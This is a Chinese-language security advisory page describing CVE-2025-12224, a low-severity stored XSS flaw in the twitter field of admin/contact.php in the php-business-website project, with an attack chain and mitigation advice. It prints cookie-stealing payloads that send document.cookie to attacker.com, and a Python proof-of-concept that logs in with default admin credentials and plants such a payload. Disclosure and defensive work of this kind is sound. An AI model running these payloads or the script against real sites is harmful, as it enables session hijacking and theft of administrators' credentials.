IPBUF安全漏洞报告
English
CVE-2025-12224 CVSS 3.5 低危

CVE-2025-12224 Iqbolshoh php-business-website 跨站脚本漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12224
漏洞类型
XSS跨站脚本攻击
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Iqbolshoh php-business-website

相关标签

XSS跨站脚本存储型XSSphp-business-websiteCVE-2025-12224admin/contact.phptwitter参数Web安全

漏洞概述

CVE-2025-12224是存在于Iqbolshoh php-business-website项目中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于admin/contact.php文件中的twitter参数处理逻辑中,攻击者可以通过构造恶意脚本代码并提交到该参数,当其他用户访问或管理员查看相关数据时,恶意脚本将在受害者浏览器中执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该产品采用滚动发布模型,具体的版本号信息暂不可用,厂商也未对此漏洞披露做出回应。建议用户检查自身部署的代码是否受影响,并采取相应的安全措施。

技术细节

该漏洞为存储型XSS漏洞,存在于admin/contact.php文件中。当处理twitter参数时,应用程序未对用户输入进行充分的HTML实体转义或输入验证。攻击者可以在twitter字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>等payload。提交的恶意数据会被存储在数据库或后端,当其他用户访问展示该数据的页面时,浏览器会解析并执行注入的脚本代码。由于漏洞位于管理后台的contact.php文件,攻击成功后可能获取管理员权限或窃取敏感会话信息。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站的admin/contact.php页面
STEP 2
步骤2
攻击者在twitter参数中注入恶意XSS payload
STEP 3
步骤3
应用程序未进行输入验证和转义,将恶意脚本存储到数据库
STEP 4
步骤4
当管理员或普通用户访问展示联系信息的页面时,恶意脚本在浏览器中执行
STEP 5
步骤5
攻击者通过执行的JavaScript窃取Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12224 XSS PoC # Target: Iqbolshoh php-business-website # File: admin/contact.php # Parameter: twitter target_url = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?cookie="+document.cookie)</script>' # Login to admin panel first (if required) login_data = { 'username': 'admin', 'password': 'admin' } # Send XSS payload via twitter parameter data = { 'twitter': xss_payload, 'action': 'submit' # Adjust based on actual form action } try: # Step 1: Login session = requests.Session() login_response = session.post(f"{target_url}/admin/login.php", data=login_data) # Step 2: Submit XSS payload response = session.post(f"{target_url}/admin/contact.php", data=data) if response.status_code == 200: print(f"[+] XSS payload submitted successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] When admin views contact.php, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}")

影响范围

Iqbolshoh php-business-website <= 10677743a8dfc281f85291a27cf63a0bce043c24

防御指南

临时缓解措施
由于厂商未回应此漏洞披露且产品采用滚动发布模型,建议立即检查部署的php-business-website代码,对admin/contact.php及其他可能受影响的文件实施输入过滤和输出编码。在Web服务器层面配置X-XSS-Protection响应头,并限制管理后台的访问权限,仅允许授权IP访问。如条件允许,部署WAF并启用积极的XSS防护规则。待官方发布修复版本后及时更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表